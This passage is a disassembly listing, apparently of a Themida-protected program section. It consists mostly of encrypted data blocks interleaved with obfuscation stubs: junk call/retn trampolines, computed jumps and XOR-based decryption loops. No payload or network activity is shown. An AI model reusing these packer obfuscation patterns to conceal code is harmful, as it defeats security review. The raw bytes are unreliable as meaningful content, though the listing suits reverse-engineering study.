79AA066Fh, 4136DBBFh, 0E6EEC225h, 2E97F0FFh, 80B60F8h dd 0D043F096h, 0A9FE3ECEh, 64C7336Bh, 92FFE6EEh, 9B009339h dd 6A94247Ah, 0EB3AB0F7h, 6993F42h, 121F49E1h, 392D553Eh dd 0A05ADB81h, 75385199h, 8AEF38h, 0A7800000h, 59A9346Ah dd 8930B04h, 0C52E70A3h, 20ABF320h, 71A451F7h, 0D43DA22Dh dd 39DA3FCAh, 5596DA65h, 215AF39Bh, 108E8367h, 0A9E42DDAh dd 0EA8D0A4Ah, 92AE3EC8h, 0FFE6C22Fh, 893FC55h, 0A7326CA3h dd 55AAEA82h, 2F58E3BBh, 0E6C260C3h, 872D86FFh, 0FD454C06h dd 9B3874C7h, 43h, 236AA72Ch, 7E4E420Bh, 2C8FAB38h, 5AFFE731h dd 0A42F9801h, 8191D13Fh, 0E529B41Dh, 3820638Dh, 0BF6B763h dd 462AE465h, 0E69DD3CBh, 0A8336BA7h, 0E683167Ch, 1CD647FFh dd 748EDD15h, 17B38h, 0A70C0000h, 0ADC9096Eh, 0FFE6834Ah dd 50B31F78h, 76FFE683h, 0C429B41Dh, 7FBF4F4Fh, 0E6830063h dd 27CD26FFh, 1FD90294h, 34C4DA3Bh, 0DE6935DFh, 70D10FB5h dd 9BB74719h, 7E09A3Dh, 20851069h, 56884F3h, 2B07E09Ah dd 863369D2h, 533AD58Dh, 322DB2EAh, 921D8632h, 49750069h dd 7E12AE4h, 0F0D48ECFh, 0C9D53F23h, 9A7BD060h, 0F5587404h dd 1B07E12Ah, 31DE1CC2h, 0F8F80E2h, 5EB65B84h, 0FC4CD740h dd 22DEDFD2h, 0C1677D13h, 938EFF14h, 0C3ECD641h, 304CD740h dd 0E08293E8h, 77026B33h, 6D27A84Eh, 0F1B2749Eh, 305A18F5h dd 932BDE1h, 0C64DFAA0h, 3B1E48D8h, 67EE7E1Bh, 8E5E9C42h dd 406F6D56h, 113F4h, 96F38500h, 9A9757B9h, 65CEA17Ah dd 746B95D5h, 0B85FB721h, 948D40A2h, 0C3616F1Ah, 8F53A91Dh dd 267F07E1h, 0C1DD369Bh, 4433DC31h, 0E165C528h, 2992EB07h dd 7B984583h, 5C931912h, 4DB6AE62h, 0F1AD68BDh, 4973D66h dd 22EE749Fh, 6C88137Ch, 769D813Bh, 55AF228h, 1DED930Bh dd 406EB2E5h, 3D83h, 9AF31400h, 971A36C6h, 3D7FE683h, 14FF54E4h dd 2551E48Ah, 7FE682C2h, 0EDBC769Fh, 14F2D1C3h, 0D0768D22h dd 7231E6Fh, 7FE586A4h, 801079D2h, 0E585E164h, 4076CFFFh dd 7359h, 96F3F200h, 0B41E3ACAh, 3207E09Ah, 2AE94ED9h dd 82913E74h, 0FD65911Ch, 0A607E099h, 4CC7AB65h, 0A46DC252h dd 9954B7D3h, 298207E0h, 660C35C0h, 9EC2C728h, 6DE7F20Eh dd 0A4FD0FDFh, 3F5FB419h, 0E3BB5AAFh, 45D43753h, 0A902FFEBh dd 0B5DE7003h, 3A2663FBh, 8EA780AAh, 4C32F8EAh, 8B316DA7h dd 0CCD7F3h, 81DA07EAh, 0ED759CF1h, 830E7727h, 0BF76B45Ah dd 87A396F3h, 0FFE68324h, 4B53BD52h, 0C52E97C0h, 71A0F535h dd 0D379A22Dh, 0E557545Fh, 6EF95207h, 2F830A09h, 89E67245h dd 2B8EAA3Ah, 5907E483h, 0B4619700h, 64B43F5Fh, 0F399050Fh dd 0F5355D7Fh, 0A1E13107h, 0D5352285h, 0E0C81707h, 16BBC20Bh dd 55D67CD5h, 425CB79Bh, 0EAB45F0Ch, 9BFE1A5Ah, 0C907D4B5h dd 0D237CA70h, 44D6613Dh, 967D611Bh, 0EE25D208h, 80D525B0h dd 7D640A94h, 3, 0A75CBB16h, 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h dd 1277029Ch, 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah dd 5285108Eh, 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h dd 5C241C87h, 42768h, 24348900h, 7EF268h, 24148900h, 5559B951h dd 0BF57017Dh, 17B252BDh, 52FAEF81h, 0F7816DF3h, 0A0C2D60Eh dd 295FFE89h, 8B5459CEh, 0C4812414h, 4, 8904EC83h, 428F2434h dd 24148B08h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 5E2434FFh dd 0E904C483h, 0FFFBA530h, 0BD1E565Fh db 0C9h, 12h, 8Ah ; --------------------------------------------------------------------------- loc_5D0E0B: ; CODE XREF: Themida_:005D08B0j mov eax, 7FED94Bh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 6E2A75F4h, 391425B0h, 0C66632Ah, 5A4B5522h, 595E7827h dd 2D4E89C7h, 0A441A34h, 308A2A7Fh, 7B9B5107h, 122AA749h dd 70ED1F6Bh, 6307F06Ah, 134E7542h, 521DA41Bh, 1158E04Ah dd 0CF178AFh, 5A812DCBh, 51EABF05h, 36D995BDh, 4EF2AEFEh dd 4F9F4033h, 6A978D7Fh, 14F29ACCh, 199858Dh, 6A07FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 90EF3AC3h, 619D8BC0h, 5007FA2Bh, 0CF53BFBBh, 24048919h dd 6840Fh, 8D890000h, 7FA0D25h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0DED881C3h dd 10798D29h, 6A07FAh, 0C85BD8Bh, 858D07FAh, 7FEDC37h dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5E08C351h, 0A368CF56h, 0B01ABB50h dd 489176Dh, 9D8D8924h, 6A07FA2Ch, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 3564333Dh dd 0B1953162h, 6A07FA0Ah, 68C0F00h, 29000000h, 0FA1F9D9Dh dd 0E995FF07h, 6A07FA2Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 5E77C356h, 8B4DFD8Bh dd 0FA16C9BDh, 118D8D07h, 6607FDD7h, 0CCF9DF81h, 0EF81D1FFh dd 1AA13FBDh, 0FCD78166h, 0EDBD8309h, 107FA33h, 0DA850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BF605BC3h, 2F506E2Ch, 68D0Fh, 8D8B0000h dd 7FA0029h, 6A026A61h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 86AAC353h, 1C59D29h dd 0BF6607FAh, 9D8BADBBh, 7FA317Dh, 0BE850h, 698E0000h dd 0A38CC120h, 7115B111h, 5BDF8B48h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 94CAC352h, 8106EB9Fh, 95575BEBh, 9595FF4Ah, 6A07FA1Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 9266C353h, 0F93BCC40h, 13E9h, 7824B000h dd 0CC971444h, 85374640h, 0E8C1652h, 70AE8B31h, 0D92E9h dd 0E800h, 815D0000h, 0FEDC41EDh, 0E7816607h, 8D01F721h dd 7FA0089h, 88D78151h, 5F0637FCh, 0B959858Dh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 890F24C3h, 6, 108BDB81h, 50906B0Eh, 0DE8h, 0B3802E00h dd 47A3DAAFh, 99066372h, 12E8699Bh, 0C000000h, 0EB84744Dh dd 17758875h, 0A0882A36h, 0EBAA02F8h, 38BB66E3h, 905F5FB6h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F1C35545h dd 6360B78h, 35FF64B6h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5D112F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D112F proc near ; CODE XREF: Themida_:005D1127p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D112F endp ; --------------------------------------------------------------------------- db 0Dh dd 3974D0F2h, 89F616ECh, 0FA08498Dh, 25896407h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5D115F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D115F proc near ; CODE XREF: Themida_:005D1157p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D115F endp ; --------------------------------------------------------------------------- db 67h dd 906DDC5Ch, 0B463A8FEh, 104985FFh, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 645665C3h dd 0B92CC42Eh, 81FB0F25h, 99A24CDBh, 6AFF6A01h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 606EC351h, 1850Fh, 57F90000h, 0B5FF615Ah, 7FA2EA9h dd 0B24ECF81h, 0B514C15h, 0FA17399Dh, 95FF5B07h, 7FA2875h dd 0EFE9h, 20BB6600h, 0C58D291Ch, 0B007FA23h, 9D296000h dd 7FA0009h, 102DBD01h, 0E66107FAh, 158C0F70h, 0E9000000h dd 10h, 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh, 613C71E4h dd 0AE830Fh, 85890000h, 7FA08C1h, 0BAC8B60Fh, 6, 81C18BF5h dd 0C8F09C7h, 4E8C10Bh, 28FDBD8Bh, 0F76607FAh, 8BC82BE2h dd 0FA0739BDh, 0E9D18B07h, 8, 0A5952957h, 5B07FA2Ch, 1175858Bh dd 0BD8B07FAh, 7FA1479h, 8907C083h, 0FA0A6DBDh, 0C08307h dd 1EADBD89h, 0D03B07FAh, 1D830Fh, 0AE80000h, 0E8000000h dd 1F782518h, 2B4B041Eh, 9D8D8937h, 5B07FA18h, 33E9h, 8BF98B00h dd 0FA27658Dh, 32EB8007h, 0F01E183h, 1F84h, 659D8900h dd 8307FA2Ah, 0FA2765A5h, 8166FE07h, 890E17EFh, 0FA117595h dd 0E9DA8B07h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE4CDCh] push 0 pusha jmp loc_5D12FB ; --------------------------------------------------------------------------- dw 7621h dd 38B87774h, 77747621h db 0B8h, 38h, 21h ; --------------------------------------------------------------------------- loc_5D12FB: ; CODE XREF: Themida_:005D12E9j sub [ebp+7FA214Dh], eax popa call dword ptr [ebp+7FA1019h] push 0 push ebp call sub_5D1313 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1313 proc near ; CODE XREF: Themida_:005D130Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5D1313 endp ; --------------------------------------------------------------------------- db 8Ch dd 0A11E3249h, 0B93CC5EEh, 901h, 1F59BD89h, 958907FAh dd 7FA1181h, 8BFCE183h, 0FA2209BDh, 9D8BFC07h, 7FA2485h dd 0B8h, 1DB50100h, 0BA07FA35h, 0 ; --------------------------------------------------------------------------- or ebx, [ebp+7FA0D41h] mov [ebp+7FA30D1h], eax loc_5D1368: ; CODE XREF: Themida_:005D1372j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D1368 push 0 push ebp call sub_5D137F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D137F proc near ; CODE XREF: Themida_:005D1377p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5D137F endp ; --------------------------------------------------------------------------- db 0FBh dd 0C4AF7D97h, 0E780E25Fh, 0FBBF0F51h, 93BB665Bh, 0A800F07h dd 60000000h, 0DE815F57h, 6A2DDFDAh, 880D61h, 0DE90000h dd 5C000000h, 0F7B41ECFh, 8E6C7B49h, 47B4AE07h, 1CD9958Bh dd 0EE907FAh, 0DE000000h, 0B20E8F5Bh, 0F777494Bh, 498F2C32h dd 0AD8D8BE3h, 6A07FA31h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0EA21C352h, 0A7D781EFh dd 32DCF09h, 0FA15859Dh, 0DF816607h, 8B50393Eh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 67C35646h, 80B46C89h, 9D0900D7h dd 7FA0B25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0F3C35646h, 44EEBEF7h, 181ECB32h, 0B8BF668Bh, 29BD83BCh dd 7FA2Ah, 7F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0E6F37AC3h, 16BBD3B2h dd 0B807DCF2h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+7FA1789h] lea ecx, [ebp+7FA4F66h] push 0 push eax call sub_5D14C7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D14C7 proc near ; CODE XREF: Themida_:005D14BFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5D14C7 endp ; --------------------------------------------------------------------------- or dword ptr [edi], 48Eh add [ebx-75h], dl sti pop ebx jmp ecx ; --------------------------------------------------------------------------- push 0 push eax call sub_5D14EF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D14EF proc near ; CODE XREF: Themida_:005D14E7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5D14EF endp ; --------------------------------------------------------------------------- sti sub ah, ah mov edx, 0BD836946h fldcw word ptr [ebx] cli pop es add [edi], cl test ah, dl add eax, [eax] add [ebx-5D42643h], al pop es add [edi], ecx test dh, al add eax, [eax] add [ebx-5F5A243h], cl pop es cmp dword ptr [ebp+7FA2BD9h], 3 jbe loc_5D18D9 pusha mov edi, 174BAF4h xor [ebp+7FA2165h], ebx mov cx, ds or [ebp+7FA2541h], eax stc and cl, 4 push 0 push ebx call sub_5D1556 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1556 proc near ; CODE XREF: Themida_:005D154Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5D1556 endp ; --------------------------------------------------------------------------- dw 0AE4h ; --------------------------------------------------------------------------- leave jz loc_5D1680 mov edi, [ebp+7FA2F99h] mov eax, [ebp+7FA0FE9h] push 0 push ebx call sub_5D1586 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1586 proc near ; CODE XREF: Themida_:005D157Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5D1586 endp ; --------------------------------------------------------------------------- sbb eax, 93C79C47h pop eax and dword ptr [esi-75h], 0E18533FAh adc eax, 6A07FAh push ebp call sub_5D15B1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D15B1 proc near ; CODE XREF: Themida_:005D15A9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5D15B1 endp ; --------------------------------------------------------------------------- db 60h, 0EAh, 50h ; --------------------------------------------------------------------------- jmp loc_5D15CE ; --------------------------------------------------------------------------- db 58h, 74h, 21h db 9Ah, 0Eh ; --------------------------------------------------------------------------- loc_5D15CE: ; CODE XREF: Themida_:005D15C4j mov [esp], eax push 0 push ebp call sub_5D15DC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D15DC proc near ; CODE XREF: Themida_:005D15D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5D15DC endp ; --------------------------------------------------------------------------- dd 7A4D62E3h, 4068A6DEh, 0BF006A42h, 44C25ECEh, 10E5EF68h dd 6E997h, 6C990000h, 0AE877A4h, 10240481h, 6A690E1Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8114C355h, 910DC6EBh, 6820F32h, 8B000000h dd 0FA1D51BDh, 0E995FF07h, 8B07FA1Ch, 0FA1525BDh, 96858907h dd 8107FDEBh, 0C9D10BF7h, 1FDE937h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5895BC3h dd 7FA189Dh ; --------------------------------------------------------------------------- loc_5D1680: ; CODE XREF: Themida_:005D1569j mov eax, [ebp+7FDEB8Eh] push 0 push ebx call sub_5D1691 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1691 proc near ; CODE XREF: Themida_:005D1689p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5D1691 endp ; --------------------------------------------------------------------------- db 3Fh, 0EAh, 7Dh ; --------------------------------------------------------------------------- add al, 60h mov dword ptr [eax], 18h pusha or [ebp+7FA3211h], eax add edx, 5885D509h popa mov esi, [ebp+7FDEB92h] sbb bl, 0EBh mov [ebp+7FA22BDh], edx mov eax, [ebp+7FA0D51h] push 0 push ebp call sub_5D16DA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D16DA proc near ; CODE XREF: Themida_:005D16D2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5D16DA endp ; --------------------------------------------------------------------------- dw 0A18Fh dd 689F9EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 6DC35545h, 0BA6660CFh, 68B35682h, 0E9858B61h, 8007FA0Fh dd 4689C9CFh, 41950104h, 9607FA2Fh, 8B666053h, 14E8CFh dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h dd 615AF7E0h, 2ABB505Fh, 9607C62Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 87C35242h, 0B99E9C70h, 9686BF66h dd 0EB8EB5FFh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0DD84B6C3h, 10E99813h, 89000000h dd 2B551838h, 395BE0C9h, 9C7101F9h, 897FF3C9h, 0FA0F81B5h dd 8C5D6807h, 52508805h, 547CF0BFh, 0E8310F54h, 0Eh, 0AAFE82CEh dd 510386DFh, 6526F33Ah, 7E8D34Fh, 0D8000000h, 8C66B3A9h dd 5B5BBE7Eh, 481585Ah, 1977A224h, 56006A78h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0FE55FDE3h dd 0B41A749Bh, 4CF8166h, 96858DEBh, 6A07FDEBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6623C356h, 50C640BFh, 0CE9h, 0F36B4000h, 688BAB01h dd 0CFA4840Fh, 240489D6h, 1CE995FFh, 816607FAh, 616006D7h dd 0BF6640B7h, 85C765E3h, 7FA2BD9h, 3, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 4FC35040h, 84F299FFh, 23F0D2D9h dd 0BEEF80E7h, 0EB96BD83h, 0F0007FDh, 3884h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6E990h, 0E3640000h, 22A91906h, 27E9h, 68A0F00h, 8B000000h dd 0FA0FC9BDh ; --------------------------------------------------------------------------- pop es loc_5D18D9: ; CODE XREF: Themida_:005D152Cj ; Themida_:005D18F0j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5D18D9 jmp short loc_5D192A ; --------------------------------------------------------------------------- loc_5D18F4: ; CODE XREF: Themida_:005D190Bj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5D18F4 jmp short loc_5D192A ; --------------------------------------------------------------------------- loc_5D190F: ; CODE XREF: Themida_:005D1926j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5D190F jmp short $+2 loc_5D192A: ; CODE XREF: Themida_:005D18F2j ; Themida_:005D190Dj mov eax, eax push 0 push esi call sub_5D1937 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1937 proc near ; CODE XREF: Themida_:005D192Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5D1937 endp ; --------------------------------------------------------------------------- lodsd mov edi, 7F3A2664h cmp dword ptr [ebp+7FA2BD9h], 3 jnz loc_5D1DDD js loc_5D1968 pusha add edi, [ebp+7FA27EDh] popa loc_5D1968: ; CODE XREF: Themida_:005D195Aj cmp dword ptr [ebp+7FDEB96h], 0 jz loc_5D1DDD mov bx, ax push dword ptr [ebp+7FDEB96h] mov [ebp+7FA227Dh], esi call dword ptr [ebp+7FA2745h] sbb ebx, 1E5AD030h mov esi, [ebp+7FDEB8Ah] mov edi, 67459F23h mov dword ptr [esi], 10001h push 0 push edi call sub_5D19AC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D19AC proc near ; CODE XREF: Themida_:005D19A4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5D19AC endp ; --------------------------------------------------------------------------- dd 0ED9D31F9h, 9607FA1Dh, 0DE8h, 2E55ED00h, 6E88082Bh dd 49BD9E78h, 8A60CA41h, 616160E6h, 6A96505Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 80D0C352h, 11E9D9CFh, 55000000h, 78E22797h, 0C5FDD3E2h dd 304A1289h, 0C71C48FEh, 0EB96B5FFh, 6A07FDh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 50418FC3h, 0D9F3C37Ah, 0CB99D8Bh, 95FF07FAh, 7FA18E1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3EC35343h dd 0C6FE86E0h, 0BE8B304h, 9A000000h, 4F8707ADh, 2FE51FE5h dd 8B0F928Fh, 16h, 11E9h, 0F9022100h, 748BC744h, 0B43798Ah dd 0E66E0E13h, 8B5F4DC7h, 0FDEB8AB5h, 0E9DB8007h, 1C7D858Bh dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0EC472DC3h, 0BF49A384h, 0EE9A23Bh, 1A000000h dd 1173B1C7h, 0AF7DFA1h, 0C281D6CBh, 858B604Eh, 7FA0CCDh dd 5E9h, 87672300h, 8961E7EFh, 0C486h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DF530368h, 0C3B3F489h, 0F56023FAh, 2F1858Bh, 8B6107FAh dd 0FA1CD995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 6EFF2EA1h, 0F51BCC5h dd 385h, 0DEBF0F00h, 1079BD8Bh, 0C28307FAh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 860FBE94h, 6, 31218D31h, 508907FAh, 96CF8120h, 8D373FF1h dd 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8B60A7C1h, 0FA0D71B5h dd 29953107h, 6107FA18h, 0B88689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 63B314C3h dd 3C4A391h, 0EF81E90Fh, 4E2C6E96h, 116D9D33h, 6A07FAh dd 0EB96B5FFh, 816607FDh, 0FFB8E3F7h, 0FA1C9595h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 430E8ED5h, 5C881676h, 0F381662Fh, 0BD2B7CA0h, 7FA0F2Dh dd 1772F781h, 60961B8Ah, 0E02CBF66h, 12E9h, 77229A00h dd 0D065F126h, 0BCCFEA01h, 638B3483h, 612FCB29h, 0BB525050h dd 198E1080h, 585A310Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 3EAEDE7h, 603BB5D5h, 2860FCAh dd 8B000000h, 96B5FFDEh, 0FF07FDEBh, 0FA1D9595h, 5E907h dd 0EEC40000h, 834BEBB2h, 0FA0131BDh, 840F0007h, 0Fh, 5296DE8Ah dd 505B58B3h, 0E5852996h, 0FF07FA24h, 0FDEB96B5h, 0D3816607h dd 95FF0C5Dh, 7FA1CB5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 4DC35343h, 5499D09h, 0B5FF07FAh, 7FDEB96h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 66C35646h dd 0E9A9D802h, 14h, 0FEBD05CBh, 28CC7F33h, 8D9FA65Fh, 5174C8EDh dd 86E7D5C5h, 0FFD98B66h, 0FA21AD95h, 35BB6607h, 21BD835Bh dd 207FA22h, 58840Fh, 0BD8B0000h, 7FA11A9h, 1615858Bh dd 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 262098C3h, 4D858944h, 0C607FA0Dh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 21F815C3h, 0C30B13B6h, 85C7A2D2h, 7FA16DDh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5D1DBF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1DBF proc near ; CODE XREF: Themida_:005D1DB7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5D1DBF endp ; --------------------------------------------------------------------------- db 7Ah dd 750089B3h, 0B57DB51Fh, 33E78166h db 0F0h ; --------------------------------------------------------------------------- loc_5D1DDD: ; CODE XREF: Themida_:005D1954j ; Themida_:005D196Fj ... jmp near ptr dword_5D1170+39h ; --------------------------------------------------------------------------- push 0 push ebx call sub_5D1DED and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1DED proc near ; CODE XREF: Themida_:005D1DE5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5D1DED endp ; --------------------------------------------------------------------------- and byte ptr ds:0EC8021DAh, 2Fh sub al, 89h mov ebp, 7FA0EC1h mov eax, ecx mov bl, ch lea eax, [ebp+7FA0199h] mov ebx, [ebp+7FA2F41h] push eax mov edi, eax mov [esp], eax jmp loc_5D1E38 ; --------------------------------------------------------------------------- dw 9306h dd 0AFD03369h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h ; --------------------------------------------------------------------------- loc_5D1E38: ; CODE XREF: Themida_:005D1E21j push 0 push 0 push edx call sub_5D1E45 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1E45 proc near ; CODE XREF: Themida_:005D1E3Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5D1E45 endp ; --------------------------------------------------------------------------- jmp short loc_5D1DDD ; --------------------------------------------------------------------------- db 87h dd 53D9F7C4h, 6A90F2CDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 5E20280h, 858D336Eh, 7FEEBC4h dd 0F98B6653h, 46BF665Bh, 5C08336h, 18599D03h, 895007FAh dd 8D0F2404h, 15h, 10E9h, 0E55E0900h, 0EA86C438h, 0F9EC0A6Eh dd 7C6157FEh, 60006A45h, 80CEB060h, 0BB610CC7h, 2410F86Ch dd 0DF816661h, 6A3B13h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 9AC35242h, 13EEC771h, 95FF3163h, 7FA2BE9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D9C35242h dd 9FFBB422h, 8D8D1F88h, 7FDD711h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0DAC35040h, 91CF81E1h, 23657A07h dd 0FA18D1BDh, 0FD1FF07h, 1385h, 0EE900h, 3D3F0000h, 292E832Eh dd 0F98F5CE8h, 3B728F0Fh, 33EDBD83h, 0F0107FAh, 9485h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 7983EFC3h, 6A026A2Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F764C355h dd 0FE93679h, 12000000h, 0A0E171Dh, 3DB8A28Ch, 1C9553A1h dd 8A903482h, 0DD8A50D8h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 40A6C600h dd 68C0F90h, 9000000h, 0FA26B5B5h, 9595FF07h, 8B07FA1Ch dd 0FA1F21BDh, 0DF1E907h, 0E80000h, 5D000000h, 0EBCEED81h dd 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 950912C3h, 7FA0675h, 6870Fh, 0BD890000h dd 7FA2D71h, 0B959858Dh, 9D8907FDh, 